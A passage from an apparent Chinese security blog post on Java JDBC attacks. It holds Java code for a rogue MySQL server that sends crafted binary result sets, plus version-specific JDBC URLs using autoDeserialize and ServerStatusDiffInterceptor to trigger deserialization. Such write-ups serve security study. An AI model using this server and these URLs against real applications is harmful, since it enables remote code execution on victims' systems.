PacketCodec.write(out, 1, buildOk(SERVER_STATUS_AUTOCOMMIT, 0));
ProtocolLog.serverOk(1, 0, 0, SERVER_STATUS_AUTOCOMMIT, 0, "OK");
}
} catch (java.net.SocketTimeoutException ste) {
Log.warn("socket timeout: " + sock.getRemoteSocketAddress());
} catch (Exception e) {
Log.error("session(" + sock.getRemoteSocketAddress() + ") error: " + e);
} finally {
try {
sock.close();
} catch (IOException ignore) {
}
}
}
}

// ---------- Packet I/O ----------
static final class Packet {
final int seq;
final byte[] payload;

Packet(int seq, byte[] payload) {
this.seq = seq;
this.payload = payload;
}
}

static final class PacketCodec {
static Packet read(DataInputStream in) throws IOException {
byte[] hdr = new byte[4];
try {
in.readFully(hdr);
} catch (IOException e) {
return null;
}
int len = (hdr[0] & 0xFF) | ((hdr[1] & 0xFF) << 8) | ((hdr[2] & 0xFF) << 16);
int seq = (hdr[3] & 0xFF);
byte[] payload = new byte[len];
in.readFully(payload);
Log.debug("<< seq=" + seq + " len=" + len + " payload=" + Log.hex(payload, 96));
return new Packet(seq, payload);
}

static void write(OutputStream out, int seq, byte[] payload) throws IOException {
int len = payload.length;
byte[] hdr = new byte[]{(byte) (len & 0xFF), (byte) ((len >>> 8) & 0xFF), (byte) ((len >>> 16) & 0xFF), (byte) (seq & 0xFF)};
out.write(hdr);
out.write(payload);
out.flush();
Log.debug(">> seq=" + seq + " len=" + len + " payload=" + Log.hex(payload, 96));
}
}

// ---------- Greeting / OK / EOF ----------
static final class GreetingInfo {
final byte[] bytes;
final String serverVersion;
final int connectionId;
final int caps;
final int charset;
final int status;
final String pluginName;

GreetingInfo(byte[] bytes, String serverVersion, int connectionId, int caps, int charset, int status, String pluginName) {
this.bytes = bytes;
this.serverVersion = serverVersion;
this.connectionId = connectionId;
this.caps = caps;
this.charset = charset;
this.status = status;
this.pluginName = pluginName;
}
}

static GreetingInfo buildGreetingV10(SecureRandom rnd) {
String ver = "5.7.19";
int connId = 12345;
int caps = CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_PROTOCOL_41 |
CLIENT_SECURE_CONNECTION | CLIENT_PLUGIN_AUTH | CLIENT_CONNECT_ATTRS |
CLIENT_DEPRECATE_EOF | CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA;
int charset = CS_UTF8_GENERAL_CI;
int status = SERVER_STATUS_AUTOCOMMIT;
String plugin = "mysql_native_password";

byte[] salt1 = new byte[8];
rnd.nextBytes(salt1);
byte[] salt2 = new byte[13];
rnd.nextBytes(salt2);

ByteArray b = new ByteArray();
b.u8(0x0A); // protocol 10
b.ntString(ver);
b.le4(connId);
b.bytes(salt1);
b.u8(0x00);
b.le2(caps & 0xFFFF);
b.u8(charset);
b.le2(status);
b.le2((caps >>> 16) & 0xFFFF);
b.u8(21); // auth_plugin_data_len = 8 + 13
b.bytes(new byte[10]); // reserved
b.bytes(salt2);
b.ntString(plugin);
return new GreetingInfo(b.toByteArray(), ver, connId, caps, charset, status, plugin);
}

static byte[] buildOk(int statusFlags, int warnings) {
ByteArray b = new ByteArray();
b.u8(0x00); // OK header
b.lenencInt(0); // affected_rows
b.lenencInt(0); // last_insert_id
b.le2(statusFlags);
b.le2(warnings);
return b.toByteArray();
}

static byte[] buildEof(int warnings, int statusFlags) {
ByteArray b = new ByteArray();
b.u8(0xFE); // EOF(老协议)
b.le2(warnings);
b.le2(statusFlags);
return b.toByteArray();
}

// ---------- ByteArray + LenEnc ----------
static final class ByteArray {
final ByteArrayOutputStream baos = new ByteArrayOutputStream();

void u8(int v) {
baos.write(v & 0xFF);
}

void le2(int v) {
baos.write(v & 0xFF);
baos.write((v >>> 8) & 0xFF);
}

void le3(int v) {
baos.write(v & 0xFF);
baos.write((v >>> 8) & 0xFF);
baos.write((v >>> 16) & 0xFF);
}

void le4(int v) {
baos.write(v & 0xFF);
baos.write((v >>> 8) & 0xFF);
baos.write((v >>> 16) & 0xFF);
baos.write((v >>> 24) & 0xFF);
}

void bytes(byte[] b) {
try {
baos.write(b);
} catch (IOException ignore) {
}
}

void ntString(String s) {
bytes(s.getBytes(StandardCharsets.UTF_8));
u8(0x00);
}

void lenencInt(long n) {
if (n <= 250) {
u8((int) n);
return;
}
if (n <= 0xFFFF) {
u8(0xFC);
le2((int) n);
return;
}
if (n <= 0xFFFFFF) {
u8(0xFD);
le3((int) n);
return;
}
u8(0xFE);
for (int i = 0; i < 8; i++) baos.write((int) ((n >>> (8 * i)) & 0xFF));
}

void lenencStr(byte[] data) {
lenencInt(data.length);
bytes(data);
}

byte[] toByteArray() {
return baos.toByteArray();
}
}

// ---------- ColumnDef(仅文本/二进制两档 + 自动推断) ----------
static final class ColumnDef {
final String name;
final int charset; // 文本:utf8;二进制:binary
final int type; // VAR_STRING / BLOB
final int columnLength; // 显示长度(提示)
final int flags;
final int decimals;

ColumnDef(String name, int charset, int type, int columnLength, int flags, int decimals) {
this.name = name;
this.charset = charset;
this.type = type;
this.columnLength = columnLength;
this.flags = flags;
this.decimals = decimals;
}

boolean isBinary() {
return charset == CS_BINARY || type == MYSQL_TYPE_BLOB || (flags & BINARY_FLAG) != 0;
}

byte[] toColumnDefinitionPayload() {
ByteArray b = new ByteArray();
b.lenencStr("def".getBytes(StandardCharsets.UTF_8)); // catalog
b.lenencStr(new byte[0]); // schema
b.lenencStr("t".getBytes(StandardCharsets.UTF_8)); // table
b.lenencStr("t".getBytes(StandardCharsets.UTF_8)); // org_table
b.lenencStr(name.getBytes(StandardCharsets.UTF_8)); // name
b.lenencStr(name.getBytes(StandardCharsets.UTF_8)); // org_name
b.u8(0x0C);
b.le2(charset);
b.le4(columnLength);
b.u8(type);
b.le2(flags);
b.u8(decimals);
b.le2(0);
return b.toByteArray();
}

// —— 自动推断:byte[] = 二进制;其余全部文本 ——
static ColumnDef infer(String name, Object sample) {
if (sample instanceof byte[]) {
int len = Math.max(((byte[]) sample).length, 1);
int display = Math.max(len, 65535);
return new ColumnDef(name, CS_BINARY, MYSQL_TYPE_BLOB, display, BINARY_FLAG, 0);
}
// 文本列:统一按 VAR_STRING + utf8
String s = String.valueOf(sample);
int len = (s == null) ? 16 : Math.min(Math.max(s.length(), 16), 4096);
return new ColumnDef(name, CS_UTF8_GENERAL_CI, MYSQL_TYPE_VAR_STRING, len, 0, 0);
}
}

// ---------- 文本结果集(仅 text/binary 两档) ----------
static final class Resultset {
final ColumnDef[] columns;
final Object[][] rows;

Resultset(ColumnDef[] columns, Object[][] rows) {
this.columns = columns;
this.rows = rows;
}

static Resultset adaptive(String[] colNames, Object[][] rows) {
ColumnDef[] defs = new ColumnDef[colNames.length];
for (int c = 0; c < colNames.length; c++) {
Object sample = null;
for (int r = 0; r < rows.length; r++) {
if (rows[r] != null && rows[r].length > c && rows[r][c] != null) {
sample = rows[r][c];
break;
}
}
defs[c] = ColumnDef.infer(colNames[c], sample);
}
return new Resultset(defs, rows);
}

void send(OutputStream out) throws IOException {
int seq = 1;

// 段1:列数
ByteArray ccount = new ByteArray();
ccount.lenencInt(columns.length);
PacketCodec.write(out, seq++, ccount.toByteArray());
ProtocolLog.serverColumnCount(seq - 1, columns.length);

// 段2:列定义
for (int i = 0; i < columns.length; i++) {
ColumnDef cd = columns[i];
PacketCodec.write(out, seq++, cd.toColumnDefinitionPayload());
ProtocolLog.serverColumnDef(seq - 1, i + 1, cd);
}

// 段4:行
for (int rIdx = 0; rIdx < rows.length; rIdx++) {
Object[] r = rows[rIdx];
ByteArray row = new ByteArray();
for (int c = 0; c < columns.length; c++) {
Object v = (r == null || c >= r.length) ? null : r[c];
ColumnDef cd = columns[c];
if (v == null) {
row.u8(0xFB); // NULL
} else if (cd.isBinary() && v instanceof byte[]) {
row.lenencStr((byte[]) v); // 二进制直传(lenenc + raw bytes)
} else {
row.lenencStr(String.valueOf(v).getBytes(StandardCharsets.UTF_8)); // 文本统一 UTF-8
}
}
byte[] payload = row.toByteArray();
PacketCodec.write(out, seq++, payload);
ProtocolLog.serverTextRow(seq - 1, rIdx + 1, rows[rIdx], columns);
}


PacketCodec.write(out, seq, buildEof(0, SERVER_STATUS_AUTOCOMMIT));
ProtocolLog.serverResultEnd(seq, false, SERVER_STATUS_AUTOCOMMIT, 0);

}
}

// ---------- 协议级结构化日志/解析 ----------
static final class ProtocolLog {
static void serverGreeting(GreetingInfo g) {
Log.info(">> GreetingV10: protocol=10, seq=0");
Log.info(" server_version=\"" + g.serverVersion + "\" connection_id=" + g.connectionId);
Log.info(" capability=0x" + String.format("%08X", g.caps) + " [" + Log.capsToString(g.caps) + "]");
Log.info(" character_set=0x" + String.format("%02X", g.charset) + " (" + Log.charsetName(g.charset) + ")");
Log.info(" status=0x" + String.format("%04X", g.status) + " [" + Log.serverStatusNames(g.status) + "]");
Log.info(" auth_plugin=\"" + g.pluginName + "\"");
}

// ---- 一个安全的游标,用于解析 HandshakeResponse41 ----
static final class Cursor {
final byte[] p;
int pos;
final int end;

Cursor(byte[] p) {
this.p = p;
this.pos = 0;
this.end = p.length;
}

int remaining() {
return end - pos;
}

int readU8() {
return (pos < end) ? (p[pos++] & 0xFF) : 0;
}

int readLE4() {
if (remaining() < 4) {
pos = end;
return 0;
}
int v = (p[pos] & 0xFF) | ((p[pos + 1] & 0xFF) << 8) | ((p[pos + 2] & 0xFF) << 16) | ((p[pos + 3] & 0xFF) << 24);
pos += 4;
return v;
}

void skip(int n) {
pos = Math.min(end, pos + Math.max(0, n));
}

String readNullStr() {
int i = pos;
while (i < end && p[i] != 0) i++;
String s = new String(p, pos, Math.max(0, i - pos), StandardCharsets.UTF_8);
pos = (i < end) ? i + 1 : i;
return s;
}

long readLenEncInt() {
if (remaining() <= 0) return 0;
int f = readU8();
if (f < 0xFB) return f;
if (f == 0xFC) {
if (remaining() < 2) {
pos = end;
return 0;
}
int v = (p[pos] & 0xFF) | ((p[pos + 1] & 0xFF) << 8);
pos += 2;
return v;
}
if (f == 0xFD) {
if (remaining() < 3) {
pos = end;
return 0;
}
int v = (p[pos] & 0xFF) | ((p[pos + 1] & 0xFF) << 8) | ((p[pos + 2] & 0xFF) << 16);
pos += 3;
return v;
}
if (remaining() < 8) {
pos = end;
return 0;
}
long v = 0;
for (int i = 0; i < 8; i++) v |= ((long) (p[pos + i] & 0xFF)) << (8 * i);
pos += 8;
return v;
}

byte[] readLenEncBytesLimited(int maxEach) {
long ln = readLenEncInt();
int willRead = (int) Math.min(Math.max(0, ln), remaining());
int cap = Math.min(willRead, Math.max(0, maxEach));
byte[] out = new byte[cap];
System.arraycopy(p, pos, out, 0, cap);
pos += willRead; // 即使截断也前进完整长度
return out;
}

String readLenEncStrLimited(int maxEach) {
return new String(readLenEncBytesLimited(maxEach), StandardCharsets.UTF_8);
}
}

static HandshakeResp parseHandshakeResponse41(byte[] payload) {
Cursor c = new Cursor(payload);
HandshakeResp r = new HandshakeResp();

r.clientFlags = c.readLE4();
r.maxPacket = c.readLE4();
r.charset = c.readU8();
c.skip(23); // reserved
r.username = c.readNullStr();

// auth-response
if ((r.clientFlags & CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA) != 0) {
long ln = c.readLenEncInt();
int willRead = (int) Math.min(ln, c.remaining());
c.skip(willRead);
r.authRespLen = (int) Math.min(ln, Integer.MAX_VALUE);
} else if ((r.clientFlags & CLIENT_SECURE_CONNECTION) != 0) {
int ln = c.readU8();
int willRead = Math.min(ln, c.remaining());
c.skip(willRead);
r.authRespLen = ln;
} else {
int before = c.pos;
c.readNullStr();
r.authRespLen = Math.max(0, c.pos - before - 1);
}

if ((r.clientFlags & CLIENT_CONNECT_WITH_DB) != 0) r.database = c.readNullStr();
if ((r.clientFlags & CLIENT_PLUGIN_AUTH) != 0) r.pluginName = c.readNullStr();

if ((r.clientFlags & CLIENT_CONNECT_ATTRS) != 0 && c.remaining() > 0) {
long total = c.readLenEncInt();
int toRead = (int) Math.min(total, c.remaining());
int attrsEnd = c.pos + toRead;

StringBuilder ab = new StringBuilder(Math.min(1024, toRead * 2));
int pairCnt = 0;
while (c.pos < attrsEnd) {
String k = c.readLenEncStrLimited(4096);
String v = c.readLenEncStrLimited(4096);
if (ab.length() > 0) ab.append(", ");
ab.append(safeStr(k)).append("=").append(safeStr(v));
pairCnt++;
if (ab.length() > 4096) {
ab.append(" ...(truncated)");
break;
}
}
if (c.pos < attrsEnd) c.skip(attrsEnd - c.pos);
r.attrs = ab.toString();
}
return r;
}

static void clientHandshakeResponse(HandshakeResp r) {
Log.info("<< HandshakeResponse41:");
Log.info(" capability=0x" + String.format("%08X", r.clientFlags) + " [" + Log.capsToString(r.clientFlags) + "]");
Log.info(" max_packet_size=" + r.maxPacket +
" character_set=0x" + String.format("%02X", r.charset) + " (" + Log.charsetName(r.charset) + ")");
Log.info(" username=\"" + safeStr(r.username) + "\" auth_response_len=" + r.authRespLen);
if (r.database != null) Log.info(" database=\"" + safeStr(r.database) + "\"");
if (r.pluginName != null) Log.info(" auth_plugin=\"" + r.pluginName + "\"");
if (r.attrs != null && r.attrs.length() > 0) Log.info(" attrs: " + r.attrs);
}

static void clientCommand(String name, int seq, String extra) {
Log.info("<< " + name + ": seq=" + seq + (extra != null ? " " + extra : ""));
}

static void serverOk(int seq, long affected, long lastInsertId, int status, int warnings, String note) {
Log.info(">> OK (seq=" + seq + "): affected_rows=" + affected + " last_insert_id=" + lastInsertId +
" status=0x" + String.format("%04X", status) + " [" + Log.serverStatusNames(status) + "] warnings=" + warnings +
(note != null ? " // " + note : ""));
}

static void serverFieldsEnd(int seq, boolean okStyle, int status, int warnings) {
if (okStyle) {
Log.info(">> FieldsEnd-OK (seq=" + seq + "): status=0x" + String.format("%04X", status) +
" [" + Log.serverStatusNames(status) + "], warnings=" + warnings);
} else {
Log.info(">> FieldsEnd-EOF (seq=" + seq + "): warnings=" + warnings +
" status=0x" + String.format("%04X", status) + " [" + Log.serverStatusNames(status) + "]");
}
}

static void serverResultEnd(int seq, boolean okStyle, int status, int warnings) {
if (okStyle) {
Log.info(">> ResultEnd-OK (seq=" + seq + "): status=0x" + String.format("%04X", status) +
" [" + Log.serverStatusNames(status) + "], warnings=" + warnings);
} else {
Log.info(">> ResultEnd-EOF (seq=" + seq + "): warnings=" + warnings +
" status=0x" + String.format("%04X", status) + " [" + Log.serverStatusNames(status) + "]");
}
}

static void serverColumnCount(int seq, int count) {
Log.info(">> ColumnCount (seq=" + seq + "): " + count);
}

static void serverColumnDef(int seq, int idx, ColumnDef cd) {
Log.info(">> ColumnDef#" + idx + " (seq=" + seq + "):");
Log.info(" name=\"" + cd.name + "\" charset=0x" + String.format("%02X", cd.charset) + " (" + Log.charsetName(cd.charset) + ")");
Log.info(" type=0x" + String.format("%02X", cd.type) + " (" + Log.typeName(cd.type) + ")" +
" length=" + cd.columnLength + " flags=0x" + String.format("%04X", cd.flags) + " decimals=" + cd.decimals);
}

static void serverTextRow(int seq, int rowIdx, Object[] row, ColumnDef[] cols) {
StringBuilder sb = new StringBuilder();
sb.append(">> Row#").append(rowIdx).append(" (seq=").append(seq).append("): ");
for (int i = 0; i < cols.length; i++) {
if (i > 0) sb.append(" | ");
Object v = (row == null || i >= row.length) ? null : row[i];
if (v == null) sb.append(cols[i].name).append("=NULL");
else if (cols[i].isBinary() && v instanceof byte[])
sb.append(cols[i].name).append("=<binary ").append(((byte[]) v).length).append(" bytes>");
else sb.append(cols[i].name).append("=\"").append(safeStr(String.valueOf(v))).append("\"");
}
Log.info(sb.toString());
}

static String safeStr(String s) {
if (s == null) return "null";
String t = s.replace("\r", "\\r").replace("\n", "\\n");
if (t.length() > 256) t = t.substring(0, 256) + "...";
return t;
}
}

static final class HandshakeResp {
int clientFlags;
int maxPacket;
int charset;
String username;
int authRespLen;
String database;
String pluginName;
String attrs;
}
}

不同版本 payload

ServerStatusDiffInterceptor 触发

8.x-8.0.20

1
jdbc:mysql://127.0.0.1:3309/test?characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x

属性名有所不同,queryInterceptors 换为 statementInterceptors

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

包名不含 cj

1
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.x<=5.1.10

同上,需要连接后执行查询。

detectCustomCollations 触发

5.1.29-5.1.40

1
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.19-5.1.28

1
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

PostgreSQL

1
2
3
4
5
6
7
8
9
10
11
<!-- https://mvnrepository.com/artifact/org.postgresql/postgresql -->
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.0</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

H2

  • Title: Java JDBC attack
  • Author: sky123
  • Created at : 2025-10-21 22:49:08
  • Updated at : 2025-10-14 23:10:12
  • Link: https://skyi23.github.io/2025/10/21/Java JDBC attack/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments